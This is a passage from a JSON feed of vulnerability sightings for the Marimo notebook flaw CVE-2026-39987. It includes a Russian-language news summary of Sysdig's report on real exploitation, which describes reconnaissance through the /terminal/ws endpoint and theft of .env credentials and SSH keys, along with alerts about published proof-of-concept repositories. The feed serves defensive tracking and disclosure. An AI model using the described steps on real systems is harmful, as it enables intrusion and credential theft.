\u0434\u0430\u043d\u043d\u044b\u043c Sysdig, \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u044b\u0445 12 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u044c 125 IP, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f  \u0440\u0430\u0437\u0432\u0435\u0434\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c.\n\n\u041c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0447\u0435\u0440\u0435\u0437 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0447\u0435\u043d\u044b\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043e \u043a\u0440\u0430\u0436\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0432\u0448\u0438\u0441\u044c \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 /terminal/ws \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u043a\u043e\u0440\u043e\u0442\u043a\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0440\u0443\u0447\u043d\u0443\u044e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a pwd, whoami \u0438 ls, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 SSH.\n\n\u0414\u0430\u043b\u0435\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0438\u043b\u0441\u044f \u043d\u0430 \u0441\u0431\u043e\u0440\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0432 .env \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0417\u0430\u0442\u0435\u043c \u043e\u043d \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b \u043f\u043e\u0438\u0441\u043a SSH-\u043a\u043b\u044e\u0447\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0442\u0447\u0435\u0442\u0443 Sysdig, \u0432\u0435\u0441\u044c \u044d\u0442\u0430\u043f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0431\u044b\u043b \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d \u043c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0437\u0430 \u0442\u0440\u0438 \u043c\u0438\u043d\u0443\u0442\u044b. \u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0441 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u0443 \u0436\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u0430 \u0430\u0442\u0430\u043a\u043e\u0439, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0442\u043e\u0438\u0442 \u00ab\u043c\u0435\u0442\u043e\u0434\u0438\u0447\u043d\u044b\u0439 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u00bb, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u043e\u0434\u0445\u043e\u0434, \u0430 \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u0438 \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u0442\u0430\u043a\u0438\u0445 \u0432\u0430\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445, \u043a\u0430\u043a \u043a\u0440\u0430\u0436\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 .env \u0438 \u043a\u043b\u044e\u0447\u0435\u0439 SSH.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0435 \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u044b \u0438\u043b\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u044b, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u0438 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Marimo \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.23.0, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f WebSocket \u0441 /terminal/ws, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 \u0438 \u0440\u043e\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b.", "creation_timestamp": "2026-04-13T11:59:36.000000Z"}, {"uuid": "76654ae4-9197-4ec7-9efb-7ae0d18e6a2a", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/030c6599-9b67-4757-b86c-13364df1fb4e", "content": "", "creation_timestamp": "2026-04-23T18:00:03.144663Z"}, {"uuid": "b8b15bcd-48e6-4512-aea6-679396b0b01d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6325871", "content": "", "creation_timestamp": "2026-04-23T18:33:55.910340Z"}, {"uuid": "c8f02d21-0ed7-466a-84b9-fe07bfd46335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mk6sifuz6a2h", "content": "", "creation_timestamp": "2026-04-23T20:01:22.500490Z"}, {"uuid": "710dc11e-b2d6-4390-af67-89fa40327df1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mk7o6tcynj2p", "content": "", "creation_timestamp": "2026-04-24T04:17:05.839320Z"}, {"uuid": "62cbbcd0-d8ae-4a3e-8aa1-6c8ff1d17191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/cibsecurity/88998", "content": "\ud83d\udd8b\ufe0f Marimo RCE Flaw CVE-2026-39987 Exploited Within 10 Hours of Disclosure \ud83d\udd8b\ufe0f\n\nA critical security vulnerability\u00a0in Marimo, an opensource Python notebook for data science and analysis, has been exploited within 10 hours of public disclosure, according\u00a0to findings from\u00a0Sysdig. The vulnerability in question\u00a0is CVE202639987 CVSS score 9.3, a preauthenticated remote code execution vulnerability impacting all versions of Marimo prior to and including.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-04-10T15:15:48.000000Z"}, {"uuid": "ca11f3cf-adb3-4411-ac82-a9a151381eb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39983", "type": "seen", "source": "https://t.me/GithubRedTeam/79762", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39983\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zebbernCVE\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-10 15:24:16\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAdvisory for basic-ftp \u232f\u2332 20 mill weekly downloads\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-10T16:00:04.000000Z"}, {"uuid": "d24645fc-4c25-4737-9fed-de85ec3092bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/cibsecurity/88990", "content": "\ud83d\udd8b\ufe0f Marimo RCE Flaw CVE-2026-39987 Exploited Within 10 Hours of Disclosure \ud83d\udd8b\ufe0f\n\nA critical security vulnerability\u00a0in Marimo, an opensource Python notebook for data science and analysis, has been exploited within 10 hours of public disclosure, according\u00a0to findings from\u00a0Sysdig. The vulnerability in question\u00a0is CVE202639987 CVSS score 9.3, a preauthenticated remote code execution vulnerability impacting all versions of Marimo prior to and including.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-04-10T15:15:26.000000Z"}, {"uuid": "901fb7f6-203e-4121-b6cc-5453ac7c116a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/thehackernews/8778", "content": "\u26a0\ufe0f Marimo CVE-2026-39987 gave attackers a full shell with no authentication.\n\nA missing check in /terminal/ws allowed remote code execution on exposed systems. Exploitation began within 9 hours of disclosure\u2014no PoC needed.\n\n\ud83d\udd17 Details here \u2192 https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html", "creation_timestamp": "2026-04-10T10:40:16.000000Z"}, {"uuid": "4e4eb86b-ca83-4461-9d19-c81afa2675c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/ctinow/248642", "content": "CVE-2026-39987: Marimo RCE exploited in hours after disclosure\nhttps://ift.tt/4jQKviN", "creation_timestamp": "2026-04-11T09:54:21.000000Z"}, {"uuid": "0acd3f03-8536-496d-8d4f-f4aec0cdf2c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/ctinow/248640", "content": "Marimo RCE Flaw CVE-2026-39987 Exploited Within 10 Hours of Disclosure\nhttps://ift.tt/S5dmcDa", "creation_timestamp": "2026-04-11T06:04:30.000000Z"}, {"uuid": "7d7c4e43-a160-49ba-ae3a-0af4e3ed65e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/TengkorakCyberCrewzz/9629", "content": "Marimo RCE Flaw CVE-2026-39987 Exploited Within 10 Hours of Disclosure \u2013 thehackernews.com\n\nFri, 10 Apr 2026 15:37:00", "creation_timestamp": "2026-04-11T04:03:13.000000Z"}, {"uuid": "8fbba0c8-ad91-4e92-bb2c-2be6e3306f4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mkbgeoy6zw2g", "content": "", "creation_timestamp": "2026-04-24T21:02:39.943524Z"}, {"uuid": "bcfccba5-7cf9-41da-82a2-56972842024e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39983", "type": "seen", "source": "Telegram/opWNLDaOjT2KiHYbiGpHGLhTmz3SmMLK1wCf8I-JAwAiArQ", "content": "", "creation_timestamp": "2026-04-09T19:23:08.000000Z"}, {"uuid": "d9e6b68f-f36a-4573-9a14-1018b3e7bcd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/Jeul2EvprL3_hH1xvWkayHz4l2vevKD0W-_dzxiA_dwei0o", "content": "", "creation_timestamp": "2026-04-13T19:00:13.000000Z"}, {"uuid": "f942a910-3ca2-4b02-9296-57c2f0fbbecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "Telegram/Y2UpQC9zCL6PqNfAxsSoQJ7YUumR5oW0JI3RILB7SgtOVH4", "content": "", "creation_timestamp": "2026-04-09T19:23:14.000000Z"}, {"uuid": "fa4255f7-29e7-410d-819a-c8605f28b2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/nbHcaeDNI4B0FTn-7eArxrArCHluMti4gPmSsvmEVLUktVg", "content": "", "creation_timestamp": "2026-04-14T03:00:10.000000Z"}, {"uuid": "aa64a5ec-0ffe-40bc-a171-4892a8f7f27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39981", "type": "seen", "source": "Telegram/opWNLDaOjT2KiHYbiGpHGLhTmz3SmMLK1wCf8I-JAwAiArQ", "content": "", "creation_timestamp": "2026-04-09T19:23:08.000000Z"}, {"uuid": "d01c065a-63ba-4480-9b03-e247438e8dbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39980", "type": "seen", "source": "Telegram/opWNLDaOjT2KiHYbiGpHGLhTmz3SmMLK1wCf8I-JAwAiArQ", "content": "", "creation_timestamp": "2026-04-09T19:23:08.000000Z"}, {"uuid": "6da6c7f2-1a00-47b4-8112-e638917323c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/jqsHB6FIdeMNMlYJLaE-SWbBIQ7X4SKPFQvaPULFC7d8_bM", "content": "", "creation_timestamp": "2026-04-14T15:00:07.000000Z"}, {"uuid": "20a9fbec-3a08-47f9-bc2a-2d514cc29406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "Telegram/42vnnuN2H09Y8bowfU5L4vP0cA5-_XeLOUULsX7cOScNO7jc", "content": "", "creation_timestamp": "2026-04-11T10:05:05.000000Z"}, {"uuid": "0cd1f327-52d5-41fe-bb21-579a6df510f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39983", "type": "published-proof-of-concept", "source": "Telegram/JqVwQ-JC9B9ph46qq_gs1KPvHPPLX-_sQPp9do9RGc2keWM", "content": "", "creation_timestamp": "2026-04-10T21:00:05.000000Z"}, {"uuid": "15622cb9-b0a0-4d92-bf8d-fc5bb8137f31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkj3najads23", "content": "", "creation_timestamp": "2026-04-27T22:11:46.199524Z"}, {"uuid": "ea2380fd-dc11-4744-a186-79533553e87e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/solomonneas.dev/post/3mkkk3by56p2k", "content": "", "creation_timestamp": "2026-04-28T12:02:49.289033Z"}, {"uuid": "e02dd76f-89a1-489e-a3f2-ae1a6c23f126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/56SNjB68nyULYTdkaeIILQI4ytkQLoACBGmTDoXIf258Id4", "content": "", "creation_timestamp": "2026-04-18T11:00:12.000000Z"}, {"uuid": "2d5e3ccd-e878-49b6-8ac6-c51bcaa7821f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/kld9yLBbS6fzFNytGTSDXwsTRi8Qoep-LDw8M-oA9J472Qs", "content": "", "creation_timestamp": "2026-04-26T03:00:05.000000Z"}, {"uuid": "849ddad7-716d-4626-9bdf-52aa93e816f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/qEqQyvlGNEhSwKVNxnh63UUFIX9U3tMkX70uQezLxi6YNVI", "content": "", "creation_timestamp": "2026-04-15T11:00:10.000000Z"}, {"uuid": "7ebfd13b-ebe9-48d4-a489-949b5a1d809b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/k13wpBMjikAWn-MEXpBBL1rwnEDpUB06hWYX97kzArPBO4U", "content": "", "creation_timestamp": "2026-08-02T23:18:17.309533Z"}, {"uuid": "5b715dd5-56f8-4509-8d2c-ec0f954e6aeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/k13wpBMjikAWn-MEXpBBL1rwnEDpUB06hWYX97kzArPBO4U", "content": "", "creation_timestamp": "2026-08-03T00:26:59.101358Z"}, {"uuid": "55994c23-a004-448f-bc73-0e2a12a8104f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "Telegram/j-DMWk1jylS6oTK3WkqNWOGjNQLp4_I9IFyoV0ikHsL-Sj8", "content": "", "creation_timestamp": "2026-08-03T10:00:04.718712Z"}, {"uuid": "769d0f13-db57-4b11-9351-3a25d31f6900", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "Telegram/SHCtA7dY1mItB2gbm66yqWXF69tJGblulI8ccELNE-1shwc", "content": "", "creation_timestamp": "2026-08-03T01:44:58.077352Z"}, {"uuid": "1d4f3781-35e7-4444-9a6b-f83087c16a0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96303", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jasonbernier\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-02 14:52:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSimple POC for CVE-2026-39987\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-03T02:01:31.701927Z"}, {"uuid": "32f53116-4b75-449d-952b-d68523a9c0b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", 